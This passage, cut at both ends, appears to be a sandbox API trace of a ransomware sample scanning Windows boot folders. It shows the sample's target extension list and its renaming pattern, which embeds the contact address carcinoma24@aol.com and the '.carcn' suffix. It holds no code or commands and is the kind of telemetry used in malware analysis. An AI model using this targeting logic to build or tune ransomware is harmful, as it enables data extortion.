(lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0172.046] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=0) returned 1 [0172.046] CloseHandle (hObject=0x360) returned 1 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString=".doc") returned 4 [0172.046] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".docx") returned 5 [0172.046] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0172.046] lstrlenW (lpString=".pdf") returned 4 [0172.046] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".xls") returned 4 [0172.046] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".xlsx") returned 5 [0172.046] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0172.046] lstrlenW (lpString=".ppt") returned 4 [0172.046] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString=".zip") returned 4 [0172.046] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".rar") returned 4 [0172.046] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".bz2") returned 4 [0172.046] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString=".7z") returned 3 [0172.046] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString=".dbf") returned 4 [0172.046] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString=".1cd") returned 4 [0172.046] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0172.046] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.046] lstrlenW (lpString=".jpg") returned 4 [0172.047] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString=".doc") returned 4 [0172.047] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".docx") returned 5 [0172.047] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0172.047] lstrlenW (lpString=".pdf") returned 4 [0172.047] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".xls") returned 4 [0172.047] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".xlsx") returned 5 [0172.047] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0172.047] lstrlenW (lpString=".ppt") returned 4 [0172.047] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString=".zip") returned 4 [0172.047] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".rar") returned 4 [0172.047] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".bz2") returned 4 [0172.047] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString=".7z") returned 3 [0172.047] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString=".dbf") returned 4 [0172.047] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString=".1cd") returned 4 [0172.047] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0172.047] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0172.047] lstrlenW (lpString=".jpg") returned 4 [0172.047] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0172.048] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0172.048] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0172.048] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0172.048] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=77664) returned 1 [0172.048] CloseHandle (hObject=0x360) returned 1 [0172.048] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0172.048] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0172.048] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.048] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.048] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.048] lstrlenW (lpString=".doc") returned 4 [0172.048] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0172.048] lstrlenW (lpString=".docx") returned 5 [0172.048] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0172.048] lstrlenW (lpString=".pdf") returned 4 [0172.048] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0172.048] lstrlenW (lpString=".xls") returned 4 [0172.048] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0172.048] lstrlenW (lpString=".xlsx") returned 5 [0172.048] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0172.048] lstrlenW (lpString=".ppt") returned 4 [0172.049] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".zip") returned 4 [0172.049] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString=".rar") returned 4 [0172.049] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString=".bz2") returned 4 [0172.049] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0172.049] lstrlenW (lpString=".7z") returned 3 [0172.049] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".dbf") returned 4 [0172.049] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".1cd") returned 4 [0172.049] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".jpg") returned 4 [0172.049] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".doc") returned 4 [0172.049] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0172.049] lstrlenW (lpString=".docx") returned 5 [0172.049] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0172.049] lstrlenW (lpString=".pdf") returned 4 [0172.049] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString=".xls") returned 4 [0172.049] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString=".xlsx") returned 5 [0172.049] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0172.049] lstrlenW (lpString=".ppt") returned 4 [0172.049] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0172.049] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.049] lstrlenW (lpString=".zip") returned 4 [0172.050] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0172.050] lstrlenW (lpString=".rar") returned 4 [0172.050] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0172.050] lstrlenW (lpString=".bz2") returned 4 [0172.050] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0172.050] lstrlenW (lpString=".7z") returned 3 [0172.050] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0172.050] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.050] lstrlenW (lpString=".dbf") returned 4 [0172.050] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0172.050] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.050] lstrlenW (lpString=".1cd") returned 4 [0172.050] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0172.050] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0172.050] lstrlenW (lpString=".jpg") returned 4 [0172.050] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0172.050] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0172.050] lstrlenW (lpString="bootspaces.dll") returned 14 [0172.050] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.240] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=95648) returned 1 [0175.240] CloseHandle (hObject=0x378) returned 1 [0175.240] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0175.241] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.241] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.241] lstrlenW (lpString=".doc") returned 4 [0175.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString=".docx") returned 5 [0175.241] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.241] lstrlenW (lpString=".pdf") returned 4 [0175.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString=".xls") returned 4 [0175.241] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString=".xlsx") returned 5 [0175.241] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.241] lstrlenW (lpString=".ppt") returned 4 [0175.241] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.241] lstrlenW (lpString=".zip") returned 4 [0175.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString=".rar") returned 4 [0175.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.241] lstrlenW (lpString=".bz2") returned 4 [0175.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.241] lstrlenW (lpString=".7z") returned 3 [0175.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.241] lstrlenW (lpString=".dbf") returned 4 [0175.241] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.241] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".1cd") returned 4 [0175.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".jpg") returned 4 [0175.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".doc") returned 4 [0175.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString=".docx") returned 5 [0175.242] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0175.242] lstrlenW (lpString=".pdf") returned 4 [0175.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString=".xls") returned 4 [0175.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString=".xlsx") returned 5 [0175.242] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0175.242] lstrlenW (lpString=".ppt") returned 4 [0175.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".zip") returned 4 [0175.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString=".rar") returned 4 [0175.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.242] lstrlenW (lpString=".bz2") returned 4 [0175.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0175.242] lstrlenW (lpString=".7z") returned 3 [0175.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".dbf") returned 4 [0175.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0175.242] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.242] lstrlenW (lpString=".1cd") returned 4 [0175.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0175.243] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0175.243] lstrlenW (lpString=".jpg") returned 4 [0175.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0175.243] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.243] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.243] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.243] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=76632) returned 1 [0175.243] CloseHandle (hObject=0x378) returned 1 [0175.243] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0175.243] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.243] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.243] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.243] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.243] lstrlenW (lpString=".doc") returned 4 [0175.243] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.243] lstrlenW (lpString=".docx") returned 5 [0175.244] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.244] lstrlenW (lpString=".pdf") returned 4 [0175.244] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.244] lstrlenW (lpString=".xls") returned 4 [0175.244] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.244] lstrlenW (lpString=".xlsx") returned 5 [0175.244] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.244] lstrlenW (lpString=".ppt") returned 4 [0175.244] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString=".zip") returned 4 [0175.244] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.244] lstrlenW (lpString=".rar") returned 4 [0175.244] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.244] lstrlenW (lpString=".bz2") returned 4 [0175.244] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.244] lstrlenW (lpString=".7z") returned 3 [0175.244] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString=".dbf") returned 4 [0175.244] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString=".1cd") returned 4 [0175.244] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString=".jpg") returned 4 [0175.244] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.244] lstrlenW (lpString=".doc") returned 4 [0175.244] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.244] lstrlenW (lpString=".docx") returned 5 [0175.244] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.244] lstrlenW (lpString=".pdf") returned 4 [0175.244] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.245] lstrlenW (lpString=".xls") returned 4 [0175.245] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.245] lstrlenW (lpString=".xlsx") returned 5 [0175.245] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.245] lstrlenW (lpString=".ppt") returned 4 [0175.245] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.245] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.245] lstrlenW (lpString=".zip") returned 4 [0175.245] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.245] lstrlenW (lpString=".rar") returned 4 [0175.245] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.245] lstrlenW (lpString=".bz2") returned 4 [0175.245] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.245] lstrlenW (lpString=".7z") returned 3 [0175.245] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.245] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.245] lstrlenW (lpString=".dbf") returned 4 [0175.245] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.245] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.245] lstrlenW (lpString=".1cd") returned 4 [0175.245] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.245] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0175.245] lstrlenW (lpString=".jpg") returned 4 [0175.245] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.245] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.245] lstrlenW (lpString="memtest.exe.mui") returned 15 [0175.245] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.246] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=45472) returned 1 [0175.246] CloseHandle (hObject=0x378) returned 1 [0175.246] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0175.246] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.246] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.246] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.246] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.246] lstrlenW (lpString=".doc") returned 4 [0175.246] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.246] lstrlenW (lpString=".docx") returned 5 [0175.246] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.246] lstrlenW (lpString=".pdf") returned 4 [0175.246] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.246] lstrlenW (lpString=".xls") returned 4 [0175.246] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.246] lstrlenW (lpString=".xlsx") returned 5 [0175.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.246] lstrlenW (lpString=".ppt") returned 4 [0175.246] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.246] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.246] lstrlenW (lpString=".zip") returned 4 [0175.246] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.246] lstrlenW (lpString=".rar") returned 4 [0175.246] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.246] lstrlenW (lpString=".bz2") returned 4 [0175.246] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString=".7z") returned 3 [0175.247] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString=".dbf") returned 4 [0175.247] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString=".1cd") returned 4 [0175.247] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString=".jpg") returned 4 [0175.247] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString=".doc") returned 4 [0175.247] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString=".docx") returned 5 [0175.247] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0175.247] lstrlenW (lpString=".pdf") returned 4 [0175.247] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0175.247] lstrlenW (lpString=".xls") returned 4 [0175.247] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0175.247] lstrlenW (lpString=".xlsx") returned 5 [0175.247] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0175.247] lstrlenW (lpString=".ppt") returned 4 [0175.247] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0175.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.247] lstrlenW (lpString=".zip") returned 4 [0175.247] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0175.247] lstrlenW (lpString=".rar") returned 4 [0175.247] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0175.247] lstrlenW (lpString=".bz2") returned 4 [0175.247] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0175.247] lstrlenW (lpString=".7z") returned 3 [0175.247] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0175.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.248] lstrlenW (lpString=".dbf") returned 4 [0175.248] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0175.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.248] lstrlenW (lpString=".1cd") returned 4 [0175.248] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0175.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0175.248] lstrlenW (lpString=".jpg") returned 4 [0175.248] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0175.248] lstrcmpiW (lpString1=".mui", lpString2=".carcn") returned 1 [0175.248] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0175.248] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0175.248] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=75616) returned 1 [0175.248] CloseHandle (hObject=0x378) returned 1 [0175.248] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0175.248] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0175.248] CreateFileW 